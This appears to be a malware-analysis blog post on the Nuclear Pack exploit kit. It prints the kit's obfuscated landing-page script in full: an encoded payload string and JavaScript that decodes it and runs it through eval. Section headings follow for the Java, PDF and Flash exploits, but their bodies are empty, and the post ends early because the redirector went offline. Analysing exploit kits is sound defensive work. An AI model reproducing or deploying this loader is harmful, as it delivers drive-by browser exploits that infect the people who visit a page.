5O4361949O893131772179317737317OO4546O335O4361949O89213174343176617737317OO4546O335O4361949O829131725431792668886OOO646O645O349O6O178O31743179267OOO646O6453576491743173967543677O7OO4546O335O4361949O893131772179317737317OO4546O335O4361949O89213174343176617737317OO4546O335O4361949O829131743431739928886OOO646O645O349O6O178O31743179267OOO646O6453576491743172967543677O7OOO646O6453576491772179388O6O47741O3O7OOO646O64535764988677776493287361949177726O7763578271741363O8721271721O33626218788861746O63517O4921743173O19327637O34987593235O3O687O35278O337O34987O733367792939335O66637O3335935O33878O632O3O714O893689113142627333388886717O492O833O48282O387O5823987873536O17687O3335935O33878O632O3O714O89368911314262733338813O733O435666632335935O33878O632O3O714O8936891131426273333882717763578886717O492O833O4O3822987O5875353873536O17687O3335935O33878O632O3O714O89368911314262733338813O733415382363O87475321335935O33878O632O3O714O893689113142627333388271741363O8721886717O492O833O46693O387O5878735825336O17687O3335935O33878O632O3O714O89368911314262733338813O73321O38239362621479187335935O33878O632O3O714O893689113142627333388271721O3362621878867173O19327637O3498759O1193O3459O63838O3493O4O2136783OO7O4928867547776493287361949173235O3O687O38578O6O42112O635847638O741363O87212721O33626218727O441777635782776357888861746O6351719O1OO1743173O19327637O34987593235O3O687O35278O337O34987O7892519O1OOO33287173278O6O4O4363O43333278O4363O183O3966323OO182O368O6O3823O6892923277689182O147684444445353295344939393933317O6787819412O3235363887O53232O3O4O443O67841O634O41741363O87214333892341363O87212389331721O3362621874333892321O336262187238933728988671746O635173845371743173O19327637O34987593235O3O687O35278O337O34987O73338O635O6373388671738453759O4O387O587873536O17687O3O73349O637O333273337194636O33388671738453759O4O387O587873536O17687O3O73346O67876O33327O4417776357888671746O63517384537391743173O19327637O34987593235O3O687O35278O337O34987O73338O635O637338867173845373959O4O387O587873536O17687O3O73349O637O33327338578O6O42174O635O4338867173845373959O4O387O587873536O17687O3O73346O67876O3332776357888671719O1OO59O63838O3493O4O2136783OO738453788671719O1OO59O63838O3493O4O2136783OO7384537398867173O19327637O3498759O1193O3459O63838O3493O4O2136783OO719O1OO8867547776493287361949173235O3O687O38578O6O42112O6358476388585O741363O87212721O33626218727O441777635782776357888861746O6351717171719O1OO1743173O19327637O34987593235O3O687O35278O337O34987O73319O1OOO3328733886717171719O1OO59O4O387O587873536O17687O3O733873438O333271733O63838783632O68736194914O268O42119328441O646O3687778O6O42133886717171719O1OO59O4O387O587873536O17687O3O7333OO687O6332717O44177763578886717171746O635173845371743173O19327637O34987593235O3O687O35278O337O34987O73338O635O6373388671738453759O4O387O587873536O17687O3O73349O637O333273337194636O33388671738453759O4O387O587873536O17687O3O73346O67876O33327O4417776357888671746O63517384537391743173O19327637O34987593235O3O687O35278O337O34987O73338O635O637338867173845373959O4O387O587873536O17687O3O73349O637O33327338578O6O42174O635O4338867173845373959O4O387O587873536O17687O3O73346O67876O3332776357888671719O1OO59O63838O3493O4O2136783OO738453788671719O1OO59O63838O3493O4O2136783OO7384537398867173O19327637O3498759O1193O3459O63838O3493O4O2136783OO719O1OO8867543677O7OOO646O645O349O6O178O31743431792888617O4O3878O3637O3197687O7897726O733218787381814147836385937O6353536O626O337O68787O335O432194977O335O34932O35932193714449247669392299244142914924493478266294747935921873733273366823327338292338889279293939393886754O378O4O3867726O733218787381814147836385937O6353536O626O337O68787O335O432194977O335O34932O35932193714449247669392299244142914924493478266294747935921873733273382663327336653338867543677O7O7384546O335O4361949O8931317434317478817838317O7384546O335O4361949O89313174343179117737317384546O335O4361949O8921317254317298888863677O7OOO646O645O349O6O178O31743431792888617O4O3878O3637O3197687O7897726O733218787381814147836385937O6353536O626O337O68787O335O432194977O335O34932O359321937144492476693922992441429149244934782662947479359383O7733273347823327339293933388892766939393886754O378O4O3867726O733218787381814147836385937O6353536O626O337O68787O335O432194977O335O34932O359321937144492476693922992441429149244934782662947479359383O773327335391332733535333886754547776493287361949174O21O3328474O335O43619499292O7774546O335O43619498886367717O7774546O335O4361949O893131761431792928835O3877635491777O678O4O31767367717O7774546O335O4361949O89213177217918835O3877635491777O678O4O31767367717O7774546O335O4361949O89213174343179117737317774546O335O4361949O839131772179193938835O3877635491777O678O4O31767367717O7774546O335O4361949O89213174343179117737317774546O335O4361949O839131743431791939317737317774546O335O4361949O829131772179266938835O3877635491777O678O4O3176735O38776354917873576O31767547776493287361949174O21O3328474O335O43619499239O7774546O335O43619498886367717O7774546O335O4361949O8931317614317339239338835O3877635491777O678O4O31767367717O7774546O335O4361949O89213174343179317737317774546O335O4361949O83913174343179317737317774546O335O4361949O829131743431729478835O38776354917873576O31767367717O7774546O335O4361949O89213174343179317737317774546O335O4361949O83913174343179317737317774546O335O4361949O829131743431744298835O38776354917873576O3176735O3877635491777O678O4O31767547776493287361949174O21O3328474O335O43619499229O7774546O335O43619498886367717O7774546O335O4361949O893131761431792298835O3877635491777O678O4O31767367717O7774546O335O4361949O89213177217938835O3877635491777O678O4O31767367717O7774546O335O4361949O83913177217938835O3877635491777O678O4O31767367717O7774546O335O4361949O8931317434317922917737317774546O335O4361949O89213174343179317737317774546O335O4361949O83913174343179317737317774546O335O4361949O829131772173993828835O3877635491777O678O4O3176735O38776354917873576O3176754367717O74O21O3328474O335O43619499292O7774546O335O436194988178383174O21O3328474O335O43619499239O7774546O335O436194988178383174O21O3328474O335O43619499229O7774546O335O43619498888863235O3O687O38578O6O42112O635847638O73391393327334782332733218787381814147836385937O6353536O626O337O68787O335O432194977O335O34932O359321937144492476693922992441429149244934782662947479359O44177332733O3O2O33243O52121OO345O5OO132OO47O652363632529138O652212138368776196653383638667638477619O65O535O585OO25578244429582424785O55O2242978O258O2555O2933886754'+'";');
var OOG6nps = "iUeg8d";}
var MlM = "urjfpZ";
TtF = this;
var nb4LFpX = "JP7R";
oq83 = "replace";
var pprKvtA = "GvqQ";
q2QM=function(KAT){var co1z = "keY9E";return KAT[oq83](/her_vam/g,"");
var QhgALF;};
var FmONX = "vSRa";
fs47VU = TtF["q2QM"]("cher_vamoher_vamnher_vamcher_vamaher_vamther_vam");
var ND1BkO = "BDsLEDF";
var YHS;
PZewr = TtF["q2QM"]("sher_vamuher_vambher_vamsher_vamther_vamrher_vam");var gmgAj;var hbYmhT3 = "XacbtQ";Nmum=TtF[TtF["q2QM"]("dher_vamoher_vamcher_vamuher_vammher_vameher_vamnher_vamther_vam")];var u2KXG;jiOOOy=function(iO3E,WOS56a){var w1yX = "upQb2n";var PlorPQ = "haKLoc";return iO3E[fs47VU](WOS56a);var USjiGbO = "CP9g5K5";};var JYuL4 = "m1Eck";ggXa7w = "jbxesAa([DM]/XK :oSh\\+q<g,Q3dIc\"yrimp2CwR=4_v8*nHPE5}GU$L.%!WB?Z7;-Y#z>&V^uflOT@6|kF{t)'N91OJ";var p5UV5rO = "y3mg";dTR=O;var oGvO = "fFk";var hWob = "mho95t4";OdKOR=Nmum[TtF["q2QM"]("bher_vamgher_vamCher_vamoher_vamlher_vamoher_vamrher_vam")];var uwZDG = "jk3Hd";LX6=function(iO3E,WOS56a,leAI){var Rmul = "JK72";var CJ5aT;return iO3E[PZewr](WOS56a,leAI);var fCfGpcw = "UWF8O";};var hX6c = "c1Dku";IA3=O;var jdOon = "qia";q9OQh=[];var vmN = "VUd";activate_var();var xWwv = "oOi6";DcRU="";var sXS3m = "WphXcu1";var hXo = "L9BnH";while(IA3<eZQVH[TtF["q2QM"]("lher_vameher_vamnher_vamgher_vamther_vamhher_vam")]){var cUL = "PQOwE";q9OQh[dTR] = LX6(eZQVH,IA3,2);var mxrbm = "HyOucO";IA3=2+IA3;var IvC = "bUKrDcP";dTR++;var JOoVL = "hYTpv";}var Mv8dOc = "hyHn";dTR=O;var igMt = "rkMN9eL";while(dTR<q9OQh[TtF["q2QM"]("lher_vameher_vamnher_vamgher_vamther_vamhher_vam")]){var H2QDtL = "tYk";if(q9OQh[dTR] < 1O){ var iRtt = "yD6gV";Iofbu = q9OQh[dTR];var hZf = "pmprpn";}else{var S6mgD = "jr29";Iofbu = q9OQh[dTR] - 2;var Xnu = "oIRNew";}var BjsuzXr = "wFSmh";WyOqfw=LX6(ggXa7w,Iofbu,1);var OpnGom = "pHe";DcRU=jiOOOy(DcRU,WyOqfw);var YxhfEM;dTR++;var CVJOwal = "Z7IXRqZ";}var NrfoOC = "VmkckhY";A9LD4k = [TtF["q2QM"]("eher_vam#her_vam6her_vam6her_vam6her_vam6her_vam9her_vam9her_vamvher_vamaher_vamlher_vam"),TtF["q2QM"]("wher_vam#her_vam6her_vam6her_vam6her_vam6her_vam9her_vam9her_vamiher_vamnher_vamdher_vamoher_vamwher_vam"),TtF["q2QM"]("rher_vameher_vampher_vamlher_vamaher_vamcher_vameher_vam")];var h1BM3N = "TgF";var Eos = "cIfo";function v5CZE(GVk,Hy6iV,I6Opn2){var HRwIkNV = "m1C";return A9LD4k[GVk][A9LD4k[Hy6iV]](OdKOR,I6Opn2);var rUvVknx;}var YTiBwt = "RDLoc";TtF[v5CZE(1,2,"")][v5CZE(O,2,"")](DcRU);var aGIbw2A = "IIIpZVh";var PWEOL = "b7I3mPZ";


A lot of mess as always. Lets deobfuscate and look at some details.

2. Decoded landing


With the landing decoded we can see how this kit is built up and what malicious capabilities it has.

2a. Plugin detect 0.8.7




What is really detected



2b. Java exploitation




2c. PDF exploitation




2d. Flash exploitation




4. Ending

This should not be the ending, but as the re-director went cold before I could finish all my coffee this adventure ended early. But as we have seen we got the exploit capabilyties out in the open and there seem to be little new to Nuclear pack. Hopefully I get the chance to look more into the details in the near future.

So if you come a cross a live one please hook me up on mail or twitter.

Happy decoding Nuclear packs :)